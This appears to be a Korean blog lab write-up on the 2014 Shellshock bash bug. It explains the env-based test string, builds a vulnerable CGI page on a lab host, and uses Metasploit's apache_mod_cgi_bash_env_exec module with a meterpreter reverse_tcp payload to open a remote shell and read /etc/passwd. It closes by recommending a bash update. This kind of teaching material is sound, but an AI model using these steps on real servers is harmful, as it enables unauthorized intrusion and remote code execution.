본문으로 바로가기

- 배시쉘 버그 


https://www.exploit-db.com  에서 찾아본다.


> Search 에서 bash 검색


> 2014-09-25 GNU Bash  클릭


> 정보 확인.


Exploit Database Note:
 
Like “real” programming languages, Bash has functions, though in a somewhat limited implementation, and it is possible to put these bash functions into environment variables. This flaw is triggered when extra code is added to the end of these function definitions (inside the enivronment variable). Something like:
 
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
 vulnerable
 this is a test
 
The patch used to fix this flaw, ensures that no code is allowed after the end of a bash function. So if you run the above example with the patched version of bash, you should get an output similar to:
 
 $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
 bash: warning: x: ignoring function definition attempt
 bash: error importing function definition for `x'

  this is a test 

> 간단히 해석해보면 배시쉘에서 함수도 변수로 설정이 가능하도록 되어있는대 그 함수 뒤에 공격자가 코드를 추가하면 추가한 코드도 이상없이 실행이 된다든 것이다. 


$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
     vulnerable
     this is a te

> 위 env 명령어를 쳤을때 출력값이 위와 같다면 버그가 존재하는 쉘이고 


 $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
 bash: warning: x: ignoring function definition attempt
     bash: error importing function definition for `x'

this is a test 

> 위와 같이 오류가 뜨면 안전하다고 할 수 있다. 


- 코드 해석

1. env CMD는 아래의 차이점으 통해 간단히 알아보자. 

# export LANG=ko_KR.UTF-8 ; system-config-network-gui

> export로 언어를 바꾸고 툴을 실행하면 툴이 끝나도 언어가 한국어로 설정이 유지된다.

# env LANG=ko_KR.UTF-8 system-config-network-gui

> env 로 언어를 설정하면 툴이 끝나면 초기에 설정되었었던 언어로 다시 설정이 되돌아간다.


2. x = () { :; };  echo vulnerable 

함수를 선언하는 기본적인 방법이다. 

: 은 아무런 동작을 하지 않는 것을 의미한다.  

( 아직 개발 전의 옵션들에 대해 문법을 미리 맞춰두거나 

아무런 내용이 들어가지 않으면 실행되지 않는 명령어 / 툴에 대해 사용한다. )

[예] while :     /* while의 조건문이 :  아무런 동작을 하지 않는다 = 항상 참 ( 무한 루프 ) */


; echo vulnerable 의 ; 는 단순히 여러 명령어를 한줄에 쓰기 위한 것이다. 

[예] # date ; cal ; hostname


3. bash -c "echo this is a test"

bash -c 는 단순히 bash 쉘에서 실행하겠다는 의미이다.


- 확인 

> 먼저 자신이 사용하는 OS의 버전 정보를 확인한다. 

> 많은 실습을 위해 애초에 버그가 많은 낮은 버전으로 설치해 두었다. 


> 역시 배시쉘 버그가 나타났다. 

- 공격

kali ( 192.168.27.50 ) ---> linux200 ( 192.168.27.200 ) 


공격을 위해 배시셀 버그를 알아보는 것이 이니므로 자세한 설명보단 간단히 공격해봄으로 얼마나 위험한지 정도만 알아보도록 하겠습니다. 

( linux200 )

웹서버 구성 ( CGI )

# vi /etc/httpd/conf/httpd.conf

 

NameVirtualHost *:80

<VirtualHost *:80>

    ServerAdmin root@example.com

    DocumentRoot /www1

    ServerName www.example.com

    <Directory /www1>

        Options Indexes Includes

    </Directory>

    ScriptAlias /cgi-bin/ /www1/cgi-bin/

</VirtualHost>

 

> 맨 마지막 부분에 붙여넣어 줍니다. 


# mkdir -p /www1/cgi-bin

# vi /www1/cgi-bin/test.cgi

 

 #!/bin/bash


echo "Content-Type: text/html"

echo ""


echo "<pre>"

echo "My username is : "

whoami 


echo ""

echo "My id is : "

id 


echo ""

echo "</pre>"

 

> 간단히 whoami 와 id 명령어를 실행하는 페이지를 만듭니다. 


# chmod 555 /www1/cgi-bin/test.cgi

# service httpd restart

# firefox http://192.168.27.200/cgi-bin/test.cgi


> whoami와 id 명령어가 실행되어 출력되는 것으로 보아 이 페이지는 bash shell로 잘 작동하는 것 같습니다. 


( kali )

msfconsole 툴로 공격

msfconsole을 사용하기 위해서는 postgresql ( 5432)이 필요하다.

# service postgresql restart

# service postgresql status


# msfconsole -q    /* 처음에 시간이 좀 걸립니다. */

 

 msf > search bash_env_exec

[!] Module database cache not built yet, using slow search


Matching Modules

================


   Name                                               Disclosure Date  Rank       Description

   ----                                               ---------------  ----       -----------

   auxiliary/scanner/http/apache_mod_cgi_bash_env     2014-09-24       normal     Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner

   exploit/linux/http/advantech_switch_bash_env_exec  2015-12-01       excellent  Advantech Switch Bash Environment Variable Code Injection (Shellshock)

   exploit/multi/ftp/pureftpd_bash_env_exec           2014-09-24       excellent  Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)

   exploit/multi/http/apache_mod_cgi_bash_env_exec    2014-09-24       excellent  Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)

   exploit/multi/http/cups_bash_env_exec              2014-09-24       excellent  CUPS Filter Bash Environment Variable Code Injection (Shellshock)

msf > use exploit/multi/http/apache_mod_cgi_bash_env_exec 

msf exploit(apache_mod_cgi_bash_env_exec) > set RHOST 192.168.27.200

RHOST => 192.168.27.200

msf exploit(apache_mod_cgi_bash_env_exec) > set LHOST 192.168.27.50

LHOST => 192.168.27.50

msf exploit(apache_mod_cgi_bash_env_exec) > set TARGETURI http://192.168.20.200/cgi-bin/test.cgi

TARGETURI => http://192.168.20.200/cgi-bin/test.cgi

msf exploit(apache_mod_cgi_bash_env_exec) > set PAYLOAD linux/x86/meterpreter/reverse_tcp

PAYLOAD => linux/x86/meterpreter/reverse_tcp

msf exploit(apache_mod_cgi_bash_env_exec) > run

[*] Started reverse TCP handler on 192.168.27.50:4444 
[*] Command Stager progress - 100.60% done (837/832 bytes)
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.27.200
[*] Meterpreter session 1 opened (192.168.27.50:4444 -> 192.168.27.200:54516) at 2017-11-03 18:54:42 +0900

meterpreter > sysinfo
Computer     : linux200.example.com
OS           : Linux linux200.example.com 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010 (i686)
Architecture : i686
Meterpreter  : x86/linux
meterpreter > shell
Process 5001 created.
Channel 1 created.
sh: no job control in this shell
sh-3.2$ ls
test.cgi
sh-3.2$ pwd
/www1/cgi-bin
sh-3.2$ id
uid=48(apache) gid=48(apache) groups=48(apache)
sh-3.2$ cat /etc/passwd
.... 중략 .....

 

> 몇가지 절차를 수행하고 들어가면 linux200 서버에서 직접 명령어를 수행하듯 모든 것이 사용 가능하다. 


- 해결 

지금은 배시쉘의 업데이트로 이러한 문제를 해결 할 수 있다. 


# yum install -y bash 


[참고] CentOS 5.5 

bash 쉘을 업데이트를 해도 버전이 올라가지 않고 유지가 되며 배시쉘 버그가 계속해서 발생한다. 

- 실제 사용하는 서버에서는 최신버전을 설치해서 사용하는 것이 안전하다.